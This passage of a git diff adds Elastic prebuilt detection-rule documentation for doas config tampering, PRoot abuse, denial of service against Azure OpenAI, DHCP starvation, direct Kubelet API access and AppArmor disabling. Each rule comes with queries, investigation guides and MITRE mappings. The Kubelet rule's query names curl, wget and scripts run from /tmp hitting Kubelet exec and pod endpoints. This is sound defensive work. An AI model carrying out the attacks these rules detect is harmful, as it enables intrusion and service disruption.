https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Automated Collection +** ID: T1119 +** Reference URL: https://attack.mitre.org/techniques/T1119/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-defense-evasion-via-doas.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-defense-evasion-via-doas.asciidoc new file mode 100644 index 0000000000..2de50d22f0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-defense-evasion-via-doas.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-34-potential-defense-evasion-via-doas]] +=== Potential Defense Evasion via Doas + +This rule detects the creation or rename of the Doas configuration file on a Linux system. Adversaries may create or modify the Doas configuration file to elevate privileges and execute commands as other users while attempting to evade detection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* endgame-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://wiki.archlinux.org/title/Doas + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Defense Evasion via Doas* + + +Doas is a command-line utility on Linux systems that allows users to execute commands as another user, typically with elevated privileges. Adversaries may exploit this by altering the Doas configuration file to gain unauthorized access or escalate privileges, bypassing security measures. The detection rule identifies suspicious activities by monitoring changes to the Doas configuration file, signaling potential misuse aimed at evading defenses. + + +*Possible investigation steps* + + +- Review the alert details to confirm the file path involved is "/etc/doas.conf" and the event type is not "deletion", as specified in the query. +- Check the timestamp of the alert to determine when the configuration file was created or modified, and correlate this with any known scheduled changes or maintenance activities. +- Investigate the user account associated with the event to determine if they have legitimate reasons to modify the Doas configuration file, and verify their access permissions. +- Examine system logs and command history around the time of the alert to identify any suspicious activities or commands executed by the user. +- Assess the current Doas configuration file for unauthorized changes or entries that could indicate privilege escalation attempts. +- Cross-reference the alert with other security events or alerts from the same host to identify potential patterns or related activities that could suggest a broader attack. + + +*False positive analysis* + + +- Routine administrative updates to the Doas configuration file can trigger alerts. To manage this, create exceptions for known maintenance windows or specific user accounts responsible for legitimate updates. +- Automated configuration management tools may modify the Doas configuration file as part of their normal operation. Identify these tools and exclude their activities from triggering alerts by specifying their process names or user accounts. +- System backups or restoration processes might involve creating or renaming the Doas configuration file. Exclude these processes by identifying the backup software and adding it to the exception list. +- Development or testing environments where frequent changes to the Doas configuration file are expected can generate false positives. Consider excluding these environments from monitoring or adjusting the rule to account for their unique activity patterns. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Review and revert any unauthorized changes to the Doas configuration file located at /etc/doas.conf to its last known good state. +- Conduct a thorough audit of user accounts and permissions on the affected system to identify and remove any unauthorized accounts or privilege escalations. +- Implement additional monitoring on the affected system to detect any further attempts to modify the Doas configuration file or other critical system files. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat has spread to other systems. +- Apply patches and updates to the affected system to address any vulnerabilities that may have been exploited by the adversary. +- Review and enhance access controls and authentication mechanisms to prevent unauthorized privilege escalation attempts in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type != "deletion" and file.path == "/etc/doas.conf" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-defense-evasion-via-proot.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-defense-evasion-via-proot.asciidoc new file mode 100644 index 0000000000..673166047c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-defense-evasion-via-proot.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-34-potential-defense-evasion-via-proot]] +=== Potential Defense Evasion via PRoot + +Identifies the execution of the PRoot utility, an open-source tool for user-space implementation of chroot, mount --bind, and binfmt_misc. Adversaries can leverage an open-source tool PRoot to expand the scope of their operations to multiple Linux distributions and simplify their necessary efforts. In a normal threat scenario, the scope of an attack is limited by the varying configurations of each Linux distribution. With PRoot, it provides an attacker with a consistent operational environment across different Linux distributions, such as Ubuntu, Fedora, and Alpine. PRoot also provides emulation capabilities that allow for malware built on other architectures, such as ARM, to be run.The post-exploitation technique called bring your own filesystem (BYOF), can be used by the threat actors to execute malicious payload or elevate privileges or perform network scans or orchestrate another attack on the environment. Although PRoot was originally not developed with malicious intent it can be easily tuned to work for one. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://proot-me.github.io/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Defense Evasion via PRoot* + + +PRoot is a versatile tool that emulates a chroot-like environment, allowing users to run applications across different Linux distributions seamlessly. Adversaries exploit PRoot to create consistent environments for executing malicious payloads, bypassing traditional defenses. The detection rule identifies suspicious PRoot activity by monitoring process executions initiated by PRoot, flagging potential misuse for defense evasion. + + +*Possible investigation steps* + + +- Review the process tree to identify the parent process of PRoot and any child processes it spawned, focusing on the process.parent.name field to confirm PRoot as the parent. +- Examine the command line arguments used with PRoot to understand the context of its execution and identify any potentially malicious payloads or scripts being executed. +- Check the user account associated with the PRoot process to determine if it aligns with expected usage patterns or if it indicates potential compromise. +- Investigate the network activity associated with the PRoot process to identify any unusual connections or data transfers that could suggest malicious intent. +- Correlate the PRoot activity with other security alerts or logs to identify any related suspicious behavior or indicators of compromise within the same timeframe. + + +*False positive analysis* + + +- Legitimate use of PRoot for cross-distribution development or testing environments may trigger alerts. Users can create exceptions for known development teams or specific projects that require PRoot for legitimate purposes. +- System administrators using PRoot for system maintenance or migration tasks might be flagged. To mitigate this, document and whitelist these activities by correlating them with scheduled maintenance windows or specific administrator accounts. +- Security researchers or penetration testers employing PRoot for controlled testing scenarios could cause false positives. Establish a process to identify and exclude these activities by verifying the involved personnel and their testing scope. +- Automated scripts or tools that utilize PRoot for non-malicious purposes, such as software compatibility testing, should be reviewed. Implement a tagging system to differentiate these benign activities from potential threats, allowing for easier exclusion in future detections. + + +*Response and remediation* + + +- Isolate the affected system immediately to prevent further spread of the threat across the network. Disconnect it from the network and any shared resources. +- Terminate any suspicious processes initiated by PRoot to halt any ongoing malicious activities. Use process management tools to identify and kill these processes. +- Conduct a thorough examination of the filesystem for any unauthorized changes or suspicious files that may have been introduced by the adversary using PRoot. +- Restore the system from a known good backup if any malicious modifications are detected, ensuring that the backup is free from compromise. +- Update and patch the affected system to the latest security standards to close any vulnerabilities that may have been exploited. +- Implement enhanced monitoring for PRoot activity across the environment to detect any future unauthorized use. This includes setting up alerts for any process executions with PRoot as the parent process. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +process.parent.name == "proot" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Exploitation for Defense Evasion +** ID: T1211 +** Reference URL: https://attack.mitre.org/techniques/T1211/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-denial-of-azure-openai-ml-service.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-denial-of-azure-openai-ml-service.asciidoc new file mode 100644 index 0000000000..083bda4d9b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-denial-of-azure-openai-ml-service.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-34-potential-denial-of-azure-openai-ml-service]] +=== Potential Denial of Azure OpenAI ML Service + +Detects patterns indicative of Denial-of-Service (DoS) attacks on machine learning (ML) models, focusing on unusually high volume and frequency of requests or patterns of requests that are known to cause performance degradation or service disruption, such as large input sizes or rapid API calls. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://genai.owasp.org/llmrisk/llm04-model-denial-of-service +* https://atlas.mitre.org/techniques/AML.T0029 + +*Tags*: + +* Domain: LLM +* Data Source: Azure OpenAI +* Data Source: Azure Event Hubs +* Use Case: Denial of Service +* Mitre Atlas: T0029 +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: ES|QL +* Platform: Azure +* Domain: Cloud +* Domain: GenAI +* Service: Azure OpenAI +* Service: Azure Event Hubs + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Denial of Azure OpenAI ML Service* + + +Azure OpenAI ML services enable scalable deployment of machine learning models, crucial for AI-driven applications. Adversaries may exploit these services by overwhelming them with excessive or malformed requests, leading to service degradation or outages. The detection rule identifies such threats by monitoring for high-frequency, large-size requests, which are indicative of potential denial-of-service attacks. + + +*Possible investigation steps* + + +- Review the logs for the specific time window identified by the target_time_window field to understand the context and volume of requests. +- Identify the specific Azure resource involved using the azure.resource.name field to determine if the service is critical or sensitive. +- Examine the cloud.account.id field to ascertain if the requests are originating from a known or trusted account, or if they are potentially malicious. +- Analyze the request patterns, focusing on the avg_request_size and count fields, to determine if the requests are consistent with normal usage or indicative of a potential attack. +- Check for any recent changes or updates to the Azure OpenAI ML service configuration or deployment that might have affected its performance or security posture. +- Correlate the findings with other security logs or alerts to identify any related suspicious activities or broader attack patterns. + + +*False positive analysis* + + +- High-volume legitimate usage patterns can trigger false positives, such as during scheduled batch processing or data analysis tasks. Users can mitigate this by setting exceptions for known time windows or specific resource names associated with these activities. +- Large input sizes from legitimate applications, like those processing extensive datasets or complex queries, may be misidentified as threats. Users should identify and whitelist these applications by their resource names or account IDs. +- Testing and development environments often generate high-frequency requests as part of load testing or performance tuning. Users can exclude these environments by filtering out specific resource names or account IDs associated with non-production activities. +- Automated scripts or integrations that interact with the Azure OpenAI ML service at high frequencies for valid business processes might be flagged. Users should document and exclude these scripts by identifying their unique request patterns or resource identifiers. + + +*Response and remediation* + + +- Immediately throttle or block the IP addresses or accounts responsible for the high-frequency, large-size requests to prevent further service degradation. +- Notify the Azure OpenAI service administrators and relevant stakeholders about the detected potential denial-of-service attack for awareness and further action. +- Review and adjust rate limiting and request size policies on the Azure OpenAI ML service to mitigate the impact of similar attacks in the future. +- Conduct a post-incident analysis to identify any vulnerabilities or misconfigurations that allowed the attack to occur and address them promptly. +- Escalate the incident to the security operations team for further investigation and to determine if the attack is part of a larger threat campaign. +- Implement additional monitoring and alerting for unusual patterns of requests, focusing on high volume and frequency, to enhance early detection of similar threats. +- Coordinate with the cloud provider's support team to ensure any necessary infrastructure adjustments or protections are in place to prevent recurrence. + + +==== Setup + + + +*Setup* + + +For more information on streaming events, see the Azure OpenAI documentation: + +https://learn.microsoft.com/en-us/azure/azure-monitor/essentials/stream-monitoring-data-event-hubs + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure_openai.logs-* +| eval + Esql.time_window_date_trunc = date_trunc(1 minutes, @timestamp) +| where azure.open_ai.operation_name == "ChatCompletions_Create" +| keep + azure.open_ai.properties.request_length, + azure.resource.name, + cloud.account.id, + Esql.time_window_date_trunc +| stats + Esql.event_count = count(*), + Esql.azure_open_ai_properties_request_length_avg = avg(azure.open_ai.properties.request_length) + by + Esql.time_window_date_trunc, + azure.resource.name +| where + Esql.event_count >= 10 and + Esql.azure_open_ai_properties_request_length_avg >= 5000 +| sort Esql.event_count desc + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-dhcp-starvation-via-high-client-mac-cardinality.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-dhcp-starvation-via-high-client-mac-cardinality.asciidoc new file mode 100644 index 0000000000..7709e4efc2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-dhcp-starvation-via-high-client-mac-cardinality.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-34-potential-dhcp-starvation-via-high-client-mac-cardinality]] +=== Potential DHCP Starvation via High Client MAC Cardinality + +Identifies a burst of DHCP DISCOVER messages with an unusually high number of distinct client hardware addresses observed on the same capture segment within a short window. Attackers flood DISCOVER requests with spoofed or random MAC addresses to exhaust the DHCP lease pool, often as a precursor to deploying a rogue DHCP server. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1498/ +* https://www.leviathansecurity.com/blog/tunnelvision +* https://wazuh.com/blog/monitoring-dhcp-starvation-attack-with-suricata-and-wazuh/ + +*Tags*: + +* Domain: Network +* Use Case: Threat Detection +* Use Case: Network Security Monitoring +* Tactic: Impact +* Data Source: Network Traffic +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: ES|QL +* Data Source: Network Packet Capture + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential DHCP Starvation via High Client MAC Cardinality* + + +DHCP starvation floods a segment with DISCOVER messages that use many distinct client hardware addresses to consume +available leases. This rule keys on high DHCP DISCOVER volume paired with high `client_mac` cardinality seen by the +same network capture sensor, which is the wire-level starvation pattern and does not depend on host operating system. + + +*Possible investigation steps* + + +- Review `Esql.count_distinct_client_macs` and sample values in `Esql.values_client_macs` to confirm the burst is not a + single client retrying with one address. +- Identify the L2 segment or VLAN monitored by `Esql.observer` and check DHCP server logs for pool exhaustion, NAK spikes, + or lease-denial events during the same window. +- Look for follow-on rogue DHCP OFFER/ACK activity on the segment, including the Multiple DHCP Servers Responding to the + Same Transaction rule. +- Locate the transmitting host using switch CAM tables if Ethernet source addresses are available in raw capture exports. + + +*False positive analysis* + + +- Large Wi-Fi reconnect or onboarding events can temporarily increase DISCOVER volume. Compare against historical + baselines for the same `Esql.observer` and time of day before treating as malicious. +- Virtualization or VDI provisioning bursts may generate many distinct client MAC addresses during imaging. Exclude known + provisioning VLANs or sensors when the workflow is confirmed. + + +*Response and remediation* + + +- Enable or verify DHCP snooping and rate limits on the affected access switches. +- Block or isolate the source host if link-layer evidence confirms a single transmitter is generating the flood. +- Restore DHCP service capacity and monitor for rogue OFFER/ACK responses after the starvation attempt. + + +==== Setup + + + +*Setup* + + +This rule requires the Elastic network_traffic (Packetbeat) integration capturing DHCP (UDP 67/68) on the broadcast +segment where clients acquire leases, either Packetbeat running on the segment or a SPAN/mirror feeding it. + +Zeek and flow-only firewall sources are intentionally not supported: this rule requires per-DISCOVER DHCP transaction +fields and client hardware address values (`client_mac`) to measure high client MAC cardinality in a short time window. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-network_traffic.dhcpv4-*, packetbeat-* +| eval + Esql.message_type = TO_LOWER(COALESCE(network_traffic.dhcpv4.option.message_type, dhcpv4.option.message_type)), + Esql.client_mac = COALESCE(network_traffic.dhcpv4.client_mac, dhcpv4.client_mac), + Esql.observer_hostname = COALESCE(host.name, observer.hostname) +| where Esql.message_type == "discover" and Esql.client_mac is not null and Esql.observer_hostname is not null +| eval Esql.time_window = DATE_TRUNC(1 minute, @timestamp) +| stats + Esql.dhcpv4_discover_count = COUNT(*), + Esql.dhcpv4_client_mac_count_distinct = COUNT_DISTINCT(Esql.client_mac), + Esql.dhcpv4_client_mac_values = MV_SLICE(VALUES(Esql.client_mac), 0, 10) + by Esql.time_window, Esql.observer_hostname +| where Esql.dhcpv4_discover_count >= 75 and Esql.dhcpv4_client_mac_count_distinct >= 50 +| keep Esql.observer_hostname, Esql.time_window, Esql.dhcpv4_discover_count, Esql.dhcpv4_client_mac_count_distinct, Esql.dhcpv4_client_mac_values + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Network Denial of Service +** ID: T1498 +** Reference URL: https://attack.mitre.org/techniques/T1498/ +* Sub-technique: +** Name: Direct Network Flood +** ID: T1498.001 +** Reference URL: https://attack.mitre.org/techniques/T1498/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-direct-kubelet-access-via-process-arguments.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-direct-kubelet-access-via-process-arguments.asciidoc new file mode 100644 index 0000000000..34342973ed --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-direct-kubelet-access-via-process-arguments.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-34-potential-direct-kubelet-access-via-process-arguments]] +=== Potential Direct Kubelet Access via Process Arguments + +Detects potential direct Kubelet API access attempts on Linux by identifying process executions whose arguments contain URLs targeting Kubelet ports (10250/10255). Adversaries may probe or access Kubelet endpoints to enumerate pods, fetch logs, or attempt remote execution, which can enable discovery and lateral movement in Kubernetes environments. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://heilancoos.github.io/research/2025/12/16/kubernetes.html#kubelet-api +* https://www.cyberark.com/resources/threat-research-blog/using-kubelet-client-to-attack-the-kubernetes-cluster +* https://www.aquasec.com/blog/kubernetes-exposed-exploiting-the-kubelet-api/ + +*Tags*: + +* Domain: Endpoint +* Domain: Containers +* Domain: Kubernetes +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Direct Kubelet Access via Process Arguments* + + +This detection flags a process on a Linux host whose arguments include a URL targeting the Kubelet API ports 10250/10255. +Attackers often use `curl`, `wget`, or scripting runtimes to access endpoints such as `/pods`, `/runningpods`, +`/metrics`, `/exec`, or `/containerLogs`. Successful access can provide node and workload visibility, and in some cases +enable actions that facilitate lateral movement within the cluster. + + +*Possible investigation steps* + + +- Extract and reconstruct the full URL from `process.args` / `process.command_line`, including the hostname/IP, port, and + path, and determine whether the request intent was discovery or execution. +- Identify the user and session that launched the process and whether it originated from an interactive shell, scheduled + task, or automation. +- Correlate the timestamp with Kubernetes audit logs and node/Kubelet logs to confirm whether the request was + authenticated and whether it returned success. +- If the destination is a node IP, check whether this host should be allowed to reach node Kubelet ports and whether + other nodes were contacted in a scanning pattern. + + +*False positive analysis* + + +- SRE/operator troubleshooting sessions validating Kubelet reachability or TLS/auth behavior. +- Approved health checks, debugging scripts, or node agents that query Kubelet endpoints. + + +*Response and remediation* + + +- Restrict access to Kubelet ports 10250/10255 at the network layer; block pod-to-node or host-to-node traffic except for + approved agents. +- Rotate any potentially exposed credentials (service account tokens, client certs, kubeconfigs) and assess for follow-on + activity such as `exec/attach` and secret reads. +- Harden Kubelet configuration (disable anonymous auth, enforce webhook authn/authz) and review RBAC/admission controls. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "executed") and +( + /* direct utility execution */ + process.name like ("curl", "wget", "python*", "perl*", "php*", "node*", "java", "ruby*", "lua*", ".*") or + + process.executable like ("/tmp/*", "/var/tmp/*", "/dev/shm/*", "/var/run/*", "/home/*", "/run/user/*", "/busybox/*") +) and +process.args like ("http*:10250/*", "http*:10255/*", "wss:*:10250/*", "wss:*:10255/*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-disabling-of-apparmor.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-disabling-of-apparmor.asciidoc new file mode 100644 index 0000000000..98e51d42d0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-disabling-of-apparmor.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-34-potential-disabling-of-apparmor]] +=== Potential Disabling of AppArmor + +This rule monitors for potential attempts to disable AppArmor. AppArmor is a Linux security module that enforces fine-grained access control policies to restrict the actions and resources that specific applications and processes can access. Adversaries may disable security tools to avoid possible detection of their tools and activities. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Disabling of AppArmor* + + +AppArmor is a Linux security module that enforces strict access controls, limiting what applications can do. Adversaries may attempt to disable AppArmor to evade detection and freely execute malicious activities. The detection rule identifies suspicious processes attempting to stop or disable AppArmor services, such as using commands like 